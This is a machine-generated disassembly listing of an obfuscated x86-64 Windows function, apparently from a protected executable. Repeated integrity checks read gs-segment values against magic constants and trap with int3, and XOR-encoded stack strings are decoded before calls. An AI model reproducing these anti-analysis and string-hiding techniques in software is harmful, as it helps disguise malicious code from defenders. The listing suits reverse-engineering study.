sub rax, rcx
mov rcx, qword gs:[rax]
mov rax, r8
and rax, rbx
xor rcx, rax
add rdi, rcx
inc r9d
inc r10
cmp r9d, 8
jl 0x1400281b2
xor r8, rdi
mov rax, r8
xor rax, rdi
mov qword [rbp + 0xd20], rax
lea rcx, [r8 + r11]
mov r10, r14
mov rax, r14
imul rcx
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rax, [rdx + rdx*2]
shl rax, 5
sub rcx, rax
mov rcx, qword gs:[rcx]
mov rax, rdi
mov edx, 0xdeadbeef
or rax, rdx
xor rcx, rax
mov eax, 0xf94acd55
xor rcx, rax
mov qword [rbp + 0xd28], rcx
xor edi, edi
mov eax, 0xf2e73d58
xor rdi, rax
mov qword [rbp + 0xd30], rdi
xor ebx, ebx
mov edi, ebx
movabs r15, 0x918f81da4
movsxd rcx, edi
add rcx, r11
mov rax, r10
imul rcx
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rax, [rdx + rdx*2]
shl rax, 5
sub rcx, rax
mov rdx, qword gs:[rcx]
mov rax, qword [rbp + 0xd30]
xor rdx, rax
mov rcx, qword [rbp + 0xd28]
xor rcx, rdx
mov rax, qword [rbp + 0xd20]
xor rax, rcx
mov qword [rsp + 0x68], rax
imul ecx, edi, 0xcafebabe
mov rax, qword [rsp + 0x68]
cmp rax, rcx
je 0x1400282eb
inc edi
cmp edi, 5
jl 0x14002827b
jmp 0x1400282fc
mov rcx, qword [rsp + 0x68]
call fcn.1400ac908
int3
mov rcx, qword [rsp + 0x68]
call fcn.1400ac908
int3
mov r11d, 0xa8e3e350
mov rax, qword gs:[0x15]
cmp rax, r11
jne 0x14002842c
mov rdi, rbx
mov ecx, 1
lea r9d, [rcx + 4]
mov r10d, 0x8aec58f0
mov rax, r10
cqo
idiv rcx
imul rdx, r11
add rdi, rdx
mov r8, qword gs:[0x30]
movzx eax, dil
xor r8, rax
inc rcx
sub r9, 1
jne 0x140028320
mov r9d, 0xdb4576f5
xor r8, r9
mov rcx, r8
mov rax, r10
imul rcx, rax
movabs rax, 0x9570bebce7c31e27
imul rcx
add rdx, rcx
sar rdx, 0x1f
mov rax, rdx
shr rax, 0x3f
add rdx, rax
imul rdx, r9
sub rcx, rdx
mov rax, rdi
xor rax, r8
mov qword [rbp + 0xd20], rax
mov rax, rdi
mov edx, 0xdeadbeef
or rax, rdx
xor rax, rcx
mov qword [rbp + 0xd28], rax
xor rcx, r11
or rcx, rdi
xor rcx, rdi
xor rcx, 0xbadf00d
mov qword [rbp + 0xd30], rcx
mov edi, ebx
movabs r10, 0x2aaaaaaaaaaaaaab
movsxd rcx, edi
add rcx, r11
mov rax, r10
imul rcx
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rax, [rdx + rdx*2]
shl rax, 5
sub rcx, rax
mov rdx, qword gs:[rcx]
mov rax, qword [rbp + 0xd30]
and rdx, rax
mov rcx, qword [rbp + 0xd28]
and rcx, rdx
mov rax, qword [rbp + 0xd20]
and rax, rcx
mov qword [rsp + 0x68], rax
imul ecx, edi, 0xbaadf00d
mov rax, qword [rsp + 0x68]
cmp rax, rcx
je 0x140028f4c
inc edi
cmp edi, 7
jl 0x1400283c5
call qword [sym.imp.KERNEL32.dll_AllocConsole]
mov rax, qword gs:[0x15]
mov r10d, 0xa8e3e350
mov r11d, 1
cmp rax, r10
jne 0x1400285af
mov r8, r13
mov rdi, rbx
mov r9d, ebx
mov ebx, 0xdeedfeff
mov r14d, r10d
movabs r15, 0x2aaaaaaaaaaaaaab
mov r12d, 0xdb4576f5
mov rdx, r12
mov ecx, r9d
sar rdx, cl
mov rax, r14
shl rax, cl
or rdx, rax
xor r8, rdx
mov rax, r15
imul r10
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rcx, [rdx + rdx*2]
shl rcx, 5
mov rax, r10
sub rax, rcx
mov rcx, qword gs:[rax]
mov rax, r8
and rax, rbx
xor rcx, rax
add rdi, rcx
add r9d, r11d
add r10, r11
cmp r9d, 8
jl 0x140028471
xor r8, rdi
mov rax, r8
xor rax, rdi
mov qword [rbp + 0xd20], rax
mov r10, r14
lea rcx, [r8 + r14]
mov r8, r15
mov rax, r15
imul rcx
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rax, [rdx + rdx*2]
shl rax, 5
sub rcx, rax
mov rcx, qword gs:[rcx]
mov rax, rdi
mov edx, 0xdeadbeef
or rax, rdx
xor rcx, rax
mov eax, 0xf94acd55
xor rcx, rax
mov qword [rbp + 0xd28], rcx
xor edi, edi
mov eax, 0xf2e73d58
xor rdi, rax
mov qword [rbp + 0xd30], rdi
xor ebx, ebx
mov edi, ebx
movabs r15, 0x918f81da4
movabs r12, 0x1231f03b48
movsxd rcx, edi
add rcx, r10
mov rax, r8
imul rcx
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rax, [rdx + rdx*2]
shl rax, 5
sub rcx, rax
mov rdx, qword gs:[rcx]
mov rax, qword [rbp + 0xd30]
xor rdx, rax
mov rcx, qword [rbp + 0xd28]
xor rcx, rdx
mov rax, qword [rbp + 0xd20]
xor rax, rcx
mov qword [rsp + 0x68], rax
imul ecx, edi, 0xcafebabe
mov rax, qword [rsp + 0x68]
cmp rax, rcx
je 0x140028f57
add edi, r11d
cmp edi, 5
jl 0x140028547
mov rax, qword gs:[0x15]
cmp rax, r10
jne 0x140028713
mov rdi, rbx
mov r8d, reloc.WS2_32.dll_recv
mov r9d, 0xa8e3e360
movabs r10, 0x2aaaaaaaaaaaaaab
movabs r15, 0x38728acc6e2e5700
sub r8d, r11d
sub r9, r11
mov rax, r10
imul r9
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rcx, [rdx + rdx*2]
shl rcx, 5
mov rax, r9
sub rax, rcx
mov rdx, qword gs:[rax]
mov ecx, r8d
and ecx, 0x80000003
jge 0x140028624
sub ecx, r11d
or ecx, 0xfffffffc
add ecx, r11d
mov rax, r15
sar rax, cl
xor rdx, rax
xor rdi, rdx
test r8d, r8d
jne 0x1400285e4
mov rax, rdi
xor rax, rdi
mov r10d, 0xa8e3e350
xor rax, r10
mov qword [rbp + 0xd20], rax
mov rcx, rdi
mov eax, 0xdeadbeef
or rcx, rax
mov rax, rdi
mov edx, 0x8aec58f0
or rax, rdx
xor rcx, rax
mov eax, 0xdb4576f5
xor rcx, rax
mov qword [rbp + 0xd28], rcx
mov rax, rdi
not rax
and eax, 0x20c18a0
or rax, r10
xor rax, rdi
xor rax, 0xbadf00d
mov qword [rbp + 0xd30], rax
mov edi, ebx
movabs r15, 0x918f81da4
movabs r8, 0x2aaaaaaaaaaaaaab
movsxd rcx, edi
add rcx, r10
mov rax, r8
imul rcx
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rax, [rdx + rdx*2]
shl rax, 5
sub rcx, rax
mov rdx, qword gs:[rcx]
mov rax, qword [rbp + 0xd30]
or rdx, rax
mov rcx, qword [rbp + 0xd28]
or rcx, rdx
mov rax, qword [rbp + 0xd20]
or rax, rcx
mov qword [rsp + 0x68], rax
imul ecx, edi, 0xfeedface
mov rax, qword [rsp + 0x68]
cmp rax, rcx
je 0x140028f62
add edi, r11d
mov eax, 0xa
cmp edi, eax
jl 0x1400286a7
mov rax, qword gs:[0x15]
cmp rax, r10
jne 0x14002884a
mov r8, rbx
mov rcx, r11
mov r9d, 5
mov r15d, 0x8aec58f0
mov rax, r15
cqo
idiv rcx
imul rdx, r10
add r8, rdx
mov rdi, qword gs:[0x30]
movzx eax, r8b
xor rdi, rax
add rcx, r11
sub r9, r11
jne 0x140028737
mov r9d, 0xdb4576f5
xor rdi, r9
mov rcx, rdi
mov rax, r15
imul rcx, rax
movabs rax, 0x9570bebce7c31e27
imul rcx
add rdx, rcx
sar rdx, 0x1f
mov rax, rdx
shr rax, 0x3f
add rdx, rax
imul rdx, r9
sub rcx, rdx
xor rdi, r8
mov qword [rbp + 0xd20], rdi
mov rax, r8
mov edx, 0xdeadbeef
or rax, rdx
xor rax, rcx
mov qword [rbp + 0xd28], rax
xor rcx, r10
or rcx, r8
xor rcx, r8
xor rcx, 0xbadf00d
mov qword [rbp + 0xd30], rcx
mov edi, ebx
movabs r15, 0x918f81da4
movabs r8, 0x2aaaaaaaaaaaaaab
movsxd rcx, edi
add rcx, r10
mov rax, r8
imul rcx
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rax, [rdx + rdx*2]
shl rax, 5
sub rcx, rax
mov rdx, qword gs:[rcx]
mov rax, qword [rbp + 0xd30]
and rdx, rax
mov rcx, qword [rbp + 0xd28]
and rcx, rdx
mov rax, qword [rbp + 0xd20]
and rax, rcx
mov qword [rsp + 0x68], rax
imul ecx, edi, 0xbaadf00d
mov rax, qword [rsp + 0x68]
cmp rax, rcx
je 0x140028f6d
add edi, r11d
cmp edi, 7
jl 0x1400287e2
mov rax, qword gs:[0x15]
cmp rax, r10
jne 0x1400289be
mov r8, r13
mov rdi, rbx
mov r9d, ebx
mov ebx, 0xdeedfeff
mov r14d, 0xa8e3e350
movabs r15, 0x2aaaaaaaaaaaaaab
mov r12d, 0xdb4576f5
mov ecx, r9d
mov rdx, r14
shl rdx, cl
mov rax, r12
sar rax, cl
or rdx, rax
xor r8, rdx
mov rax, r15
imul r10
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rcx, [rdx + rdx*2]
shl rcx, 5
mov rax, r10
sub rax, rcx
mov rcx, qword gs:[rax]
mov rax, r8
and rax, rbx
xor rcx, rax
add rdi, rcx
add r9d, r11d
add r10, r11
cmp r9d, 8
jl 0x140028880
xor r8, rdi
mov rax, rdi
xor rax, r8
mov qword [rbp + 0xd20], rax
mov r9, r14
lea rcx, [r8 + r14]
mov r8, r15
mov rax, r15
imul rcx
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rax, [rdx + rdx*2]
shl rax, 5
sub rcx, rax
mov rcx, qword gs:[rcx]
mov rax, rdi
mov edx, 0xdeadbeef
or rax, rdx
xor rcx, rax
mov eax, 0xf94acd55
xor rcx, rax
mov qword [rbp + 0xd28], rcx
xor edi, edi
mov eax, 0xf2e73d58
xor rdi, rax
mov qword [rbp + 0xd30], rdi
xor ebx, ebx
mov edi, ebx
movabs r15, 0x918f81da4
movabs r12, 0x1231f03b48
movsxd rcx, edi
add rcx, r9
mov rax, r8
imul rcx
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rax, [rdx + rdx*2]
shl rax, 5
sub rcx, rax
mov rdx, qword gs:[rcx]
mov rax, qword [rbp + 0xd30]
xor rdx, rax
mov rcx, qword [rbp + 0xd28]
xor rcx, rdx
mov rax, qword [rbp + 0xd20]
xor rax, rcx
mov qword [rsp + 0x68], rax
imul ecx, edi, 0xcafebabe
mov rax, qword [rsp + 0x68]
cmp rax, rcx
je 0x140028f78
add edi, r11d
cmp edi, 5
jl 0x140028956
xor ecx, ecx
call fcn.1400adcd4
mov qword [rsp + 0x68], rax
mov al, 0x79
xor ecx, ecx
mov byte [rbp - 0x67], cl
xor al, 0xb
mov byte [rbp - 0x68], al
mov byte [rbp - 0x67], bl
mov byte [rbp - 0x20], 0xdb
mov byte [rbp - 0x1f], 0x33
mov byte [rbp - 0x1e], reloc.WS2_32.dll_listen
mov byte [rbp - 0x1d], Ordinal_32
mov byte [rbp - 0x1c], Ordinal_79
mov byte [rbp - 0x1b], WSAGetLastError
xor eax, eax
mov byte [rbp - 0x1a], al
mov r8, rbx
mov r9, r15
lea r10d, [rcx + 6]
movabs r14, 0x8080808080808081
movabs r15, 0x184295a46
movabs r11, 0x184295a45
mov cl, r8b
and cl, 7
shl cl, 3
mov rdi, r11
shr rdi, cl
mov rax, r14
mul r10
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r10
sub rcx, rax
xor dil, cl
mov rax, r14
mul r9
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r9
sub rcx, rax
xor dil, cl
xor dil, r8b
xor byte [rbp + r8 - 0x20], dil
inc r8
add r9, r15
add r10, 6
cmp r9, r12
jb 0x140028a1e
mov byte [rbp - 0x1a], bl
mov r9, qword [rsp + 0x68]
lea r8, [rbp - 0x68]
lea rdx, [rbp - 0x20]
lea rcx, [rbp + 0xbe0]
call fcn.1400b48d0
mov rax, qword gs:[0x15]
mov r11d, 0xa8e3e350
cmp rax, r11
movabs r14, 0xa9d2177ea
mov r10d, 1
jne 0x140028bd2
mov r8, rbx
mov ecx, r10d
lea r9d, [r10 + 4]
mov r15d, 0x8aec58f0
mov rax, r15
cqo
idiv rcx
imul rdx, r11
add r8, rdx
mov rdi, qword gs:[0x30]
movzx eax, r8b
xor rdi, rax
add rcx, r10
sub r9, r10
jne 0x140028acc
mov r9d, 0xdb4576f5
xor rdi, r9
mov rcx, rdi
mov rax, r15
imul rcx, rax
movabs rax, 0x9570bebce7c31e27
imul rcx
add rdx, rcx
sar rdx, 0x1f
mov rax, rdx
shr rax, 0x3f
add rdx, rax
imul rdx, r9
sub rcx, rdx
xor rdi, r8
mov qword [rbp + 0xd20], rdi
mov rax, r8
mov edx, 0xdeadbeef
or rax, rdx
xor rax, rcx
mov qword [rbp + 0xd28], rax
xor rcx, r11
or rcx, r8
xor rcx, r8
xor rcx, 0xbadf00d
mov qword [rbp + 0xd30], rcx
mov edi, ebx
movsxd rcx, edi
add rcx, r11
movabs rax, 0x2aaaaaaaaaaaaaab
imul rcx
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rax, [rdx + rdx*2]
shl rax, 5
sub rcx, rax
mov rdx, qword gs:[rcx]
mov rax, qword [rbp + 0xd30]
and rdx, rax
mov rcx, qword [rbp + 0xd28]
and rcx, rdx
mov rax, qword [rbp + 0xd20]
and rax, rcx
mov qword [rsp + 0x68], rax
imul ecx, edi, 0xbaadf00d
mov rax, qword [rsp + 0x68]
cmp rax, rcx
je 0x140028f83
add edi, r10d
cmp edi, 7
jl 0x140028b63
mov rax, qword gs:[0x15]
cmp rax, r11
jne 0x140028cfc
mov r8, rbx
mov rcx, r10
mov r9d, 5
mov r15d, 0x8aec58f0
mov rax, r15
cqo
idiv rcx
imul rdx, r11
add r8, rdx
mov rdi, qword gs:[0x30]
movzx eax, r8b
xor rdi, rax
add rcx, r10
sub r9, r10
jne 0x140028bf6
mov r9d, 0xdb4576f5
xor rdi, r9
mov rcx, rdi
mov rax, r15
imul rcx, rax
movabs rax, 0x9570bebce7c31e27
imul rcx
add rdx, rcx
sar rdx, 0x1f
mov rax, rdx
shr rax, 0x3f
add rdx, rax
imul rdx, r9
sub rcx, rdx
xor rdi, r8
mov qword [rbp + 0xd20], rdi
mov rax, r8
mov edx, 0xdeadbeef
or rax, rdx
xor rax, rcx
mov qword [rbp + 0xd28], rax
xor rcx, r11
or rcx, r8
xor rcx, r8
xor rcx, 0xbadf00d
mov qword [rbp + 0xd30], rcx
mov edi, ebx
movsxd rcx, edi
add rcx, r11
movabs rax, 0x2aaaaaaaaaaaaaab
imul rcx
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rax, [rdx + rdx*2]
shl rax, 5
sub rcx, rax
mov rdx, qword gs:[rcx]
mov rax, qword [rbp + 0xd30]
and rdx, rax
mov rcx, qword [rbp + 0xd28]
and rcx, rdx
mov rax, qword [rbp + 0xd20]
and rax, rcx
mov qword [rsp + 0x68], rax
imul ecx, edi, 0xbaadf00d
mov rax, qword [rsp + 0x68]
cmp rax, rcx
je 0x140028f8e
add edi, r10d
cmp edi, 7
jl 0x140028c8d
mov ecx, 2
call fcn.1400adcd4
mov qword [rsp + 0x68], rax
mov al, 0x7c
xor ecx, ecx
mov byte [rbp - 0x63], cl
xor al, 0xb
mov byte [rbp - 0x64], al
mov byte [rbp - 0x63], bl
mov byte [rbp + 0x20], Ordinal_45
mov byte [rbp + 0x21], 0x60
mov byte [rbp + 0x22], 0xb9
mov byte [rbp + 0x23], 0xcd
mov byte [rbp + 0x24], reloc.WLDAP32.dll_Ordinal_27
mov byte [rbp + 0x25], 0xcc
mov byte [rbp + 0x26], reloc.WS2_32.dll_sendto
xor eax, eax
mov byte [rbp + 0x27], al
mov r8, rbx
mov r9, r14
lea r10d, [rcx + 7]
movabs r15, 0x153a42efd4
movabs r14, 0x8080808080808081
movabs r12, 0x184295a46
movabs r11, 0x184295a45
mov cl, r8b
and cl, 7
shl cl, 3
mov rdi, r11
shr rdi, cl
mov rax, r14
mul r10
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r10
sub rcx, rax
xor dil, cl
mov rax, r14
mul r9
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r9
sub rcx, rax
xor dil, cl
xor dil, r8b
xor byte [rbp + r8 + 0x20], dil
inc r8
add r9, r12
add r10, 7
cmp r9, r15
jb 0x140028d6d
mov byte [rbp + 0x27], bl
mov r9, qword [rsp + 0x68]
lea r8, [rbp - 0x64]
lea rdx, [rbp + 0x20]
lea rcx, [rbp + 0xbe0]
call fcn.1400b48d0
mov rax, qword gs:[0x15]
mov r11d, 0xa8e3e350
cmp rax, r11
movabs r14, 0xa9d2177ea
jne 0x140028fa4
mov r10, r13
mov rdi, rbx
mov r8d, ebx
mov r9d, r11d
mov ebx, 0xdeedfeff
movabs r12, 0x2aaaaaaaaaaaaaab
mov r15d, 0xdb4576f5
mov ecx, r8d
mov rdx, r11
shl rdx, cl
mov rax, r15
sar rax, cl
or rdx, rax
xor r10, rdx
mov rax, r12
imul r9
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rcx, [rdx + rdx*2]
shl rcx, 5
mov rax, r9
sub rax, rcx
mov rcx, qword gs:[rax]
mov rax, r10
and rax, rbx
xor rcx, rax
add rdi, rcx
inc r8d
inc r9
cmp r8d, 8
jl 0x140028e26
mov rcx, rdi
xor rcx, r10
mov rax, rcx
xor rax, rdi
mov qword [rbp + 0xd20], rax
add rcx, r11
mov r10, r12
mov rax, r12
imul rcx
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rax, [rdx + rdx*2]
shl rax, 5
sub rcx, rax
mov rcx, qword gs:[rcx]
mov rax, rdi
mov edx, 0xdeadbeef
or rax, rdx
xor rcx, rax
mov eax, 0xf94acd55
xor rcx, rax
mov qword [rbp + 0xd28], rcx
xor edi, edi
mov eax, 0xf2e73d58
xor rdi, rax
mov qword [rbp + 0xd30], rdi
xor ebx, ebx
mov edi, ebx
movsxd rcx, edi
add rcx, r11
mov rax, r10
imul rcx
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rax, [rdx + rdx*2]
shl rax, 5
sub rcx, rax
mov rdx, qword gs:[rcx]
mov rax, qword [rbp + 0xd30]
xor rdx, rax
mov rcx, qword [rbp + 0xd28]
xor rcx, rdx
mov rax, qword [rbp + 0xd20]
xor rax, rcx
mov qword [rsp + 0x68], rax
imul ecx, edi, 0xcafebabe
mov rax, qword [rsp + 0x68]
cmp rax, rcx
je 0x140028f99
inc edi
cmp edi, 5
jl 0x140028ee7
jmp 0x140028fae
mov rcx, qword [rsp + 0x68]
call fcn.1400ac908
int3
mov rcx, qword [rsp + 0x68]
call fcn.1400ac908
int3
mov rcx, qword [rsp + 0x68]
call fcn.1400ac908
int3
mov rcx, qword [rsp + 0x68]
call fcn.1400ac908
int3
mov rcx, qword [rsp + 0x68]
call fcn.1400ac908
int3
mov rcx, qword [rsp + 0x68]
call fcn.1400ac908
int3
mov rcx, qword [rsp + 0x68]
call fcn.1400ac908
int3
mov rcx, qword [rsp + 0x68]
call fcn.1400ac908
int3
movabs r10, 0x2aaaaaaaaaaaaaab
mov rax, qword gs:[0x15]
cmp rax, r11
jne 0x1400290f1
mov rdi, rbx
mov r8d, reloc.WS2_32.dll_recv
mov r9d, 0xa8e3e360
movabs r11, 0x38728acc6e2e5700
dec r8d
dec r9
mov rax, r10
imul r9
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rcx, [rdx + rdx*2]
shl rcx, 5
mov rax, r9
sub rax, rcx
mov rdx, qword gs:[rax]
mov ecx, r8d
and ecx, 0x80000003
jge 0x140029017
dec ecx
or ecx, 0xfffffffc
inc ecx
mov rax, r11
sar rax, cl
xor rdx, rax
xor rdi, rdx
test r8d, r8d
jne 0x140028fd9
mov rax, rdi
xor rax, rdi
mov r11d, 0xa8e3e350
xor rax, r11
mov qword [rbp + 0xd20], rax
mov rcx, rdi
mov eax, 0xdeadbeef
or rcx, rax
mov rax, rdi
mov edx, 0x8aec58f0
or rax, rdx
xor rcx, rax
mov eax, 0xdb4576f5
xor rcx, rax
mov qword [rbp + 0xd28], rcx
mov rax, rdi
not rax
and eax, 0x20c18a0
or rax, r11
xor rax, rdi
xor rax, 0xbadf00d
mov qword [rbp + 0xd30], rax
mov edi, ebx
movsxd rcx, edi
add rcx, r11
mov rax, r10
imul rcx
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rax, [rdx + rdx*2]
shl rax, 5
sub rcx, rax
mov rdx, qword gs:[rcx]
mov rax, qword [rbp + 0xd30]
or rdx, rax
mov rcx, qword [rbp + 0xd20]
or rcx, rdx
mov rax, qword [rbp + 0xd28]
or rax, rcx
mov qword [rsp + 0x68], rax
imul ecx, edi, 0xfeedface
mov rax, qword [rsp + 0x68]
cmp rax, rcx
je 0x1400296da
inc edi
mov eax, 0xa
cmp edi, eax
jl 0x140029086
mov ecx, 1
call fcn.1400adcd4
mov qword [rsp + 0x68], rax
mov al, 0x7c
xor ecx, ecx
mov byte [rbp - 0x5f], cl
xor al, 0xb
mov byte [rbp - 0x60], al
mov byte [rbp - 0x5f], bl
mov byte [rbp + 0x60], Ordinal_45
mov byte [rbp + 0x61], 0x60
mov byte [rbp + 0x62], 0xb9
mov byte [rbp + 0x63], 0xcd
mov byte [rbp + 0x64], reloc.WLDAP32.dll_Ordinal_27
mov byte [rbp + 0x65], 0xcc
mov byte [rbp + 0x66], reloc.WS2_32.dll_sendto
xor eax, eax
mov byte [rbp + 0x67], al
mov r8, rbx
mov r9, r14
lea r10d, [rcx + 7]
movabs r15, 0x153a42efd4
movabs r14, 0x8080808080808081
movabs r12, 0x184295a46
movabs r11, 0x184295a45
mov cl, r8b
and cl, 7
shl cl, 3
mov rdi, r11
shr rdi, cl
mov rax, r14
mul r10
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r10
sub rcx, rax
xor dil, cl
mov rax, r14
mul r9
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r9
sub rcx, rax
xor dil, cl
xor dil, r8b
xor byte [rbp + r8 + 0x60], dil
inc r8
add r9, r12
add r10, 7
cmp r9, r15
jb 0x140029162
mov byte [rbp + 0x67], bl
mov r9, qword [rsp + 0x68]
lea r8, [rbp - 0x60]
lea rdx, [rbp + 0x60]
lea rcx, [rbp + 0xbe0]
call fcn.1400b48d0
mov rax, qword gs:[0x15]
mov r11d, 0xa8e3e350
cmp rax, r11
jne 0x140029339
mov r10, r13
mov rdi, rbx
mov r8d, ebx
mov r9d, r11d
mov ebx, 0xdeedfeff
movabs r12, 0x2aaaaaaaaaaaaaab
mov r15d, 0xdb4576f5
mov rdx, r15
mov ecx, r8d
sar rdx, cl
mov rax, r11
shl rax, cl
or rdx, rax
xor r10, rdx
mov rax, r12
imul r9
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rcx, [rdx + rdx*2]
shl rcx, 5
mov rax, r9
sub rax, rcx
mov rcx, qword gs:[rax]
mov rax, r10
and rax, rbx
xor rcx, rax
add rdi, rcx
inc r8d
inc r9
cmp r8d, 8
jl 0x140029211
mov rcx, rdi
xor rcx, r10
mov rax, rdi
xor rax, rcx
mov qword [rbp + 0xd20], rax
add rcx, r11
mov r10, r12
mov rax, r12
imul rcx
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rax, [rdx + rdx*2]
shl rax, 5
sub rcx, rax
mov rcx, qword gs:[rcx]
mov rax, rdi
mov edx, 0xdeadbeef
or rax, rdx
xor rcx, rax
mov eax, 0xf94acd55
xor rcx, rax
mov qword [rbp + 0xd28], rcx
xor edi, edi
mov eax, 0xf2e73d58
xor rdi, rax
mov qword [rbp + 0xd30], rdi
xor ebx, ebx
mov edi, ebx
movsxd rcx, edi
add rcx, r11
mov rax, r10
imul rcx
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rax, [rdx + rdx*2]
shl rax, 5
sub rcx, rax
mov rdx, qword gs:[rcx]
mov rax, qword [rbp + 0xd30]
xor rdx, rax
mov rcx, qword [rbp + 0xd28]
xor rcx, rdx
mov rax, qword [rbp + 0xd20]
xor rax, rcx
mov qword [rsp + 0x68], rax
imul ecx, edi, 0xcafebabe
mov rax, qword [rsp + 0x68]
cmp rax, rcx
je 0x1400296e5
inc edi
cmp edi, 5
jl 0x1400292d2
mov rax, qword gs:[0x15]
cmp rax, r11
jne 0x140029469
mov rdi, rbx
mov ecx, 1
lea r9d, [rcx + 4]
mov r10d, 0x8aec58f0
mov rax, r10
cqo
idiv rcx
imul rdx, r11
add rdi, rdx
mov r8, qword gs:[0x30]
movzx eax, dil
xor r8, rax
inc rcx
sub r9, 1
jne 0x14002935d
mov r9d, 0xdb4576f5
xor r8, r9
mov rcx, r8
mov rax, r10
imul rcx, rax
movabs rax, 0x9570bebce7c31e27
imul rcx
add rdx, rcx
sar rdx, 0x1f
mov rax, rdx
shr rax, 0x3f
add rdx, rax
imul rdx, r9
sub rcx, rdx
mov rax, rdi
xor rax, r8
mov qword [rbp + 0xd20], rax
mov rax, rdi
mov edx, 0xdeadbeef
or rax, rdx
xor rax, rcx
mov qword [rbp + 0xd28], rax
xor rcx, r11
or rcx, rdi
xor rcx, rdi
xor rcx, 0xbadf00d
mov qword [rbp + 0xd30], rcx
mov edi, ebx
movabs r10, 0x2aaaaaaaaaaaaaab
movsxd rcx, edi
add rcx, r11
mov rax, r10
imul rcx
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rax, [rdx + rdx*2]
shl rax, 5
sub rcx, rax
mov rdx, qword gs:[rcx]
mov rax, qword [rbp + 0xd30]
and rdx, rax
mov rcx, qword [rbp + 0xd28]
and rcx, rdx
mov rax, qword [rbp + 0xd20]
and rax, rcx
mov qword [rsp + 0x68], rax
imul ecx, edi, 0xbaadf00d
mov rax, qword [rsp + 0x68]
cmp rax, rcx
je 0x1400296f0
inc edi
cmp edi, 7
jl 0x140029402
movdqa xmm0, xmmword [0x1400f5db0]
movdqu xmmword [rbp + 0x978], xmm0
movdqa xmm1, xmmword [0x1400f5b10]
movdqu xmmword [rbp + 0x988], xmm1
mov byte [rbp + 0x998], 0xb9
mov byte [rbp + 0x999], 0xb0
mov byte [rbp + 0x99a], Ordinal_50
mov byte [rbp + 0x99b], 0x3f
xor eax, eax
mov byte [rbp + 0x99c], al
mov r8, rbx
lea r10d, [rax + 0x24]
movabs r9, 0x3695d0b1d8
movabs r11, 0x8080808080808081
movabs r15, 0x184295a46
movabs r12, 0x184295a45
mov cl, r8b
and cl, 7
shl cl, 3
mov rdi, r12
shr rdi, cl
mov rax, r11
mul r9
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r9
sub rcx, rax
xor dil, cl
mov rax, r11
mul r10
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r10
sub rcx, rax
xor dil, cl
xor dil, r8b
xor byte [rbp + r8 + 0x978], dil
inc r8
add r9, r15
add r10, 0x24
movabs rax, 0x6d2ba163b0
cmp r9, rax
jb 0x1400294dc
mov byte [rbp + 0x99c], bl
xor r8d, r8d
mov edx, esi
lea rcx, [rbp + 0x978]
call fcn.140025168
mov rax, qword gs:[0x15]
mov r11d, 0xa8e3e350
cmp rax, r11
movabs r15, 0x918f81da4
movabs r12, 0x1231f03b48
jne 0x1400296d3
mov r8, r13
mov rdi, rbx
mov r9d, ebx
mov r10d, r11d
mov ebx, 0xdeedfeff
movabs r14, 0x2aaaaaaaaaaaaaab
mov r15d, 0xdb4576f5
mov rdx, r15
mov ecx, r9d
sar rdx, cl
mov rax, r11
shl rax, cl
or rdx, rax
xor r8, rdx
mov rax, r14
imul r10
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rcx, [rdx + rdx*2]
shl rcx, 5
mov rax, r10
sub rax, rcx
mov rcx, qword gs:[rax]
mov rax, r8
and rax, rbx
xor rcx, rax
add rdi, rcx
inc r9d
inc r10
cmp r9d, 8
jl 0x1400295a7
xor r8, rdi
mov rax, r8
xor rax, rdi
mov qword [rbp + 0xd20], rax
lea rcx, [r8 + r11]
mov r10, r14
mov rax, r14
imul rcx
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rax, [rdx + rdx*2]
shl rax, 5
sub rcx, rax
mov rcx, qword gs:[rcx]
mov rax, rdi
mov edx, 0xdeadbeef
or rax, rdx
xor rcx, rax
mov eax, 0xf94acd55
xor rcx, rax
mov qword [rbp + 0xd28], rcx
xor edi, edi
mov eax, 0xf2e73d58
xor rdi, rax
mov qword [rbp + 0xd30], rdi
xor ebx, ebx
mov edi, ebx
movabs r15, 0x918f81da4
movsxd rcx, edi
add rcx, r11
mov rax, r10
imul rcx
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rax, [rdx + rdx*2]
shl rax, 5
sub rcx, rax
mov rdx, qword gs:[rcx]
mov rax, qword [rbp + 0xd30]
xor rdx, rax
mov rcx, qword [rbp + 0xd28]
xor rcx, rdx
